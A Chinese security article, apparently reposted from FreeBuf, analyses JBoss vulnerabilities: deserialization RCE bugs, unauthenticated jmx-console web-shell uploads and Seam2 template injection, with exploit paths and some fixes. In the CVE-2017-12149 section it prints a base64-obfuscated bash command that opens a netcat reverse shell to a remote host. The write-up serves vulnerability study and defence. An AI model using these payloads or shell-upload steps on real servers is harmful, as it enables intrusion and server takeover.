打开JBoss的潘多拉魔盒:JBoss高危漏洞分析

Track-SSG   ·   发表于 2018-10-28 11:09:01   ·   漏洞文章

前言

JBoss是一个基于J2EE的开放源代码应用服务器,代码遵循LGPL许可,可以在任何商业应用中免费使用;JBoss也是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。在J2EE应用服务器领域,JBoss是发展最为迅速的应用服务器。由于JBoss遵循商业友好的LGPL授权分发,并且由开源社区开发,这使得JBoss广为流行。

0×01 JBoss优点

JBoss有许多优点。

其一,将具有革命性的JMX微内核服务作为其总线结构

其二,本身就是面向服务架构(Service-Oriented Architecture,SOA);

其三,具有统一的类装载器,从而能够实现应用的热部署和热卸载能力。

因此,高度模块化的和松耦合。JBoss应用服务器是健壮的、高质量的,而且还具有良好的性能。

JBoss AS作为Redhat公司的商业产品JBoss Enterprise Application Platform的上游基础,为了避免用户混淆,该公司在去年10月份就为JBoss AS拟定一个新名字——WildFly。

趋势由此看来,国内使用JBoss服务的用户很广泛,因此防范JBoss漏洞就显得尤为重要了。一旦JBoss的潘多拉魔盒被打开,必将在当今网络中掀起腥风血雨。

0×02 高危漏洞介绍

近几年JBoss爆发的漏洞数量与其他著名的中间件(Weblogic,Jenkins,WebSphere等)相比,数量相对较少。然而,由于最近几年Java反序列化漏洞的肆虐,JBoss也深受其害,相继爆发了三个著名的高危漏洞。

下面介绍一下JBoss“潘多拉魔盒”中的高危漏洞。

JBoss高危漏洞主要涉及到两种。

第一种是利用未授权访问进入JBoss后台进行文件上传的漏洞,例如:CVE-2007-1036,CVE-2010-0738,CVE-2005-5750以及JBoss jmx-consoleHtmlAdaptor addURL() File Upload Vulnerability。

另一种是利用Java反序列化进行远程代码执行的漏洞,例如:CVE-2015-7501,CVE-2017-7504,CVE-2017-12149,CVE-2013-4810。

除此之外,还要额外介绍一下JBoss seam2的模板注入CVE-2010-1871漏洞。

Java反序列化RCE漏洞

关于Java反序列化漏洞的利用思路此前已经介绍过,详情请看http://www.freebuf.com/vuls/179579.html。

1. CVE-2015-7501漏洞

此漏洞主要是由于JBoss中invoker/JMXInvokerServlet路径对外开放,由于JBoss的jmx组件支持Java反序列化,并且在反序列化过程中没有加入有效的安全检测机制,导致攻击者可以传入精心构造好的恶意序列化数据,在jmx对其进行反序列化处理时,导致传入的携带恶意代码的序列化数据执行,造成反序列化漏洞,下面是传入的序列化结构。

反序列化RCE漏洞从图中我们可以看到,此漏洞的payload和weblogic Java反序列化CVE-2015-4852原理相同,都是利用了Apache Commons Collections的基础库进行Java反序列化漏洞的利用。

CVE-2015-7501 POC

首先我们进入到/invoker/JMXInvokerServlet路径下,post传入我们构造好的payload,下面的序列化POC需要将16进制解码。

在上面的POC中,cmd是我们想要执行的代码,这里大家注意一下,binascii.b2a_hex(cmd)前面的两位(标红的部分)是代表cmd转换为16进制的长度。所以需要根据我们具体传入的代码而进行调整。

这个漏洞的修补方法很简单,因为ysoserial工具生成的payload都依赖于InvokerTransformer类。如果用户在正常业务中不使用此类,可以将此类移除,方法为使用Winzip打开jar文件,在org/apache/commons/collections/functors/InvokerTransformer.class删除该文件。

2. CVE-2017-7504漏洞

CVE-2017-7504漏洞与CVE-2015-7501的漏洞如出一辙,只是利用的路径稍微出现了变化,CVE-2017-7504出现在/jbossmq-httpil/HTTPServerILServlet路径下,一般出现如图所示的界面,绝大多数存在此漏洞。

CVE-2017-7504漏洞漏洞的利用方式也和CVE-2105-7501相同,只需要在存在漏洞的路径下post传入我们构造的payload,即可对存在漏洞的服务器进行远程代码攻击。Payload使用上面提到的CVE-2015-7501的POC即可。

3. CVE-2017-12149漏洞

此漏洞主要是由于jboss\server\all\deploy\httpha-invoker.sar\invoker.war\WEB-INF\classes\org\jboss\invocation\http\servlet目录下的ReadOnlyAccessFilter.class文件中的doFilter方法,再将序列化传入ois中,并没有进行过滤便调用了readObject()进行反序列化,导致传入的携带恶意代码的序列化数据执行,造成了反序列化的漏洞,下面粘出doFilter方法。

CVE-2017-12149漏洞看到代码中的MarshalledInvocation,也许熟悉weblogic Java反序列化漏洞的同学可能会想到CVE-2016-3510漏洞。没错,这个漏洞也是利用了MarshalledInvocation类进行的Java反序列化攻击。首先我们进入到/invoker/readonly路径下,post传入我们构造好的payload,下面的序列化POC需要将16进制解码。

CVE-2017-12149的POC(序列化)

这里我们在cmd_hex所在位置,必须要插入类似于

bash -c {echo,bmMgLW52IDE5Mi4xNjguMTYuMSA0MDQw}|{base64,-d}|{bash,-i}

这种形式的命令才可以达到攻击效果,这是因为使用了“Java.lang.Runtime.exec(String)”语句而导致的一些限制。首先是不支持shell操作符,如输出重定向以及管道。其次是传递给payload命令的参数中不能包含空格。同样前面标红的那两位(b1)也需要和我们插入的指令长度相符,这是Java序列化中的结构规定。

如果进入到漏洞所在路径看见如下图的界面,很可能存在CVE-2017-12149漏洞。

CVE-2017-12149漏洞

4. CVE-2013-4810漏洞

此漏洞和CVE-2015-7501漏洞原理相同,这里详细介绍一下两者的区别,其区别就在于两个漏洞选择的进行其中JMXInvokerServlet和EJBInvokerServlet利用的是org.jboss.invocation.MarshalledValue进行的反序列化操作,而web-console/Invoker利用的是org.jboss.console.remote.RemoteMBeanInvocation进行反序列化并上传构造的文件。

首先我们进入到/invoker/JMXInvokerServlet,/invoker/EJBInvokerServlet路径下,post传入我们构造好的payload,并在头部传入。

下面的序列化POC需要将16进制解码。

CVE-2013-4810的POC(序列化)

POC的序列化结构如下图:

CVE-2013-4810的POC图中红框位置就是我们执行上传文件功能(jboss.admin中的DeploymentFileRepository)的代码和上传文件的内容。

另外如果是检测web-console/Invoker路径下的漏洞,则传入http头部如下:

post传入的payload如下:

POC的序列化结构如下图:

图片.png图中红框位置就是我们上传文件内容。

JBoss后台文件上传的漏洞

1.CVE-2007-1036漏洞

此漏洞主要是由于JBoss中/jmx-console/HtmlAdaptor路径对外开放,并且没有任何身份验证机制,导致攻击者可以进入到jmx控制台,并在其中执行任何功能。该漏洞利用的是后台中jboss.admin -> DeploymentFileRepository -> store()方法,通过向四个参数传入信息,达到上传shell的目的,其中arg0传入的是部署的war包名字,arg1传入的是上传的文件的文件名,arg2传入的是上传文件的文件格式,arg3传入的是上传文件中的内容。通过控制这四个参数即可上传shell,控制整台服务器。但是通过实验发现,arg1和arg2可以进行文件的拼接,例如arg1=she,arg2=ll.jsp。这个时候服务器还是会进行拼接,将shell.jsp传入到指定路径下。后面的CVE-2010-0738和CVE-2005-5750漏洞也存在这一特性。

CVE-2007-1036 POC

其中war_name是部署war包的名称,filename是我们想要上传的文件名。漏洞利用过程就是将POC以GET或POST方式在/jmx-console/HtmlAdaptor路径下进行传入即可。

下图是利用此payload进行shell上传:

利用此payload进行shell上传

这个是存在漏洞的后台路径:

后台路径图中的store()函数便是文件上传使用的方法,通过构造内部的4的参数,将我们构造好的文件传到任何我们指定的位置。

2. CVE-2010-0738漏洞

此漏洞利用原理和CVE-2007-1036漏洞相同,唯一的区别是CVE-2010-0738漏洞利用了HTTP中HEAD请求方法,绕过了对GET和POST请求的限制,成功地再次利用jboss.admin -> DeploymentFileRepository -> store()方法上传文件。                    

CVE-2010-0738 POC

其中war_name是部署war包的名称,filename是我们想要上传的文件名。漏洞利用过程就是将POC以HEAD方式在/jmx-console/HtmlAdaptor路径下进行传入即可。

下图是成功上传shell的截图。

成功上传shell的截图

3. CVE-2005-5750漏洞

此漏洞利用原理和CVE-2007-1036漏洞相同,唯一的区别是CVE-2006-5750漏洞利用methodIndex进行store()方法的调用。其中methodIndex是通过方法的编号进行调用。

CVE-2005-5750 POC

其中war_name是部署war包的名称,filename是我们想要上传的文件名。在/jmx-console/HtmlAdaptor路径下,使用HEAD方法传入上面构造好的payload,即可对此漏洞进行利用。

下图是成功上传shell的截图。

成功上传shell的截图

4. JBoss jmx-consoleHtmlAdaptor addURL() 文件上传漏洞

此漏洞是由于JBoss中/jmx-console/HtmlAdaptor路径对外开放,并且没有任何身份验证机制,导致攻击者可以进入到jmx控制台,并在其中执行任何功能。该漏洞利用的是后台jboss.deployment -> DeploymentScanner -> Java.net.URL类型 addURL()                   
方法,通过向一个参数传入url进行访问,在要访问的url中构造带有shell的war包,当服务器访问时便会上传shell。但是,上传shell的文件只是一个映射文件,当url一旦无法访问或者内部资源丢失,则服务器上的文件也会相应消失。

JBoss jmx-consoleHtmlAdaptor addURL() File Upload Vulnerability POC

其中arg0传入的是我们可以控制服务器访问的url。在/jmx-console/HtmlAdaptor路径下GET传入我们构造好的payload,即可对此漏洞进行漏洞利用。

下图是漏洞利用所选择的函数:

漏洞利用所选择的函数防御以上漏洞,其实只需要将JBoss后台添加权限,控制访问者对敏感路径访问即可。

JBoss seam2模板注入

在介绍漏洞之前,首先介绍一下Java反射机制。

很多POC都是利用Java的反射机制来调用需要的方法进行远程代码执行。在Java中,一切皆为对象,包括Class对象。Java反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法和属性。

在下面的漏洞中,我们可以利用一些函数去反射需要的类,以及类的方法。例如,利用getClass()函数获取类,并利用getMethod()获取我们想要反射的方法。在CVE-2010-1871,就是通过反射出Java.lang.Runtime.getRuntime().exec()方法,进行远程代码执行。

1.CVE-2010-1871漏洞

此漏洞是通过seam组件中插入#{payload}进行模板注入,我们可以在/admin-console/login.seam?actionOutcome=/success.xhtml?user%3d%23{}的#{}中插入我们要执行的方法,我们可以通过Java反射机制来获取到Java.lang.Runtime.getRuntime().exec()方法,从而可以传入任何想要执行的指令。

CVE-2010-1871 POC

其中cmd代表传入的远程命令。在/admin-console/login.seam路径下,POST传入我们构造好的payload,即可对此漏洞利用。

0×03 结语

目前,JBoss未授权访问的漏洞已经得到了很好的修复,一些对外组件都添加了权限访问控制,想继续利用

JBoss的潘多拉魔盒已经开启,每一个JBoss高危漏洞都会给使用JBoss的用户造成巨大的灾难。传言,潘多拉在开启魔盒的瞬间,由于害怕和紧张,在智慧女神雅典娜放在盒子中的“希望”还没有飞出,就关上了盒子,导致了人类饱受疾病与灾难的痛苦。那么作为一个安全研究员,放飞盒子中的“希望”就是我们现在需要努力的方向。及时的在漏洞爆发期间完成对漏洞的分析,并完成对漏洞的预防,防止漏洞攻击在网络环境中肆虐,保护大家的网络环境,这便是安全研究员的职责所在。

目前,JBoss未授权访问的漏洞已经得到了很好的修复,一些管理后台都添加了权限访问控制,想继续通过JBoss后台进行文件上传在现在的JBoss版本已经很少能实现了。目前JBoss的攻击趋势随着2015年FoxGlove Security 安全团队的 @breenmachine 博客的发布而渐渐偏向于Java反序列化攻击。因为这种攻击的特点是,危险等级高,影响范围广,一个Java反序列化漏洞造成的影响是巨大的。所以对于JBoss,我们需要做的防护措施就是,在各个对外开放组件进行输入验证,确保传入的信息中没有对服务器产生危害的内容。

漏洞挖掘者和漏洞防御者之间的博弈从未停止过,而且这种博弈在今后的生活中也将会愈演愈烈,安全研究员时刻准备迎接挑战。


*本文作者:千里目安全实验室,转载来自FreeBuf.COM


打赏我,让我更有动力~

0 条回复   |  直到 2018-10-28 | 1148 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.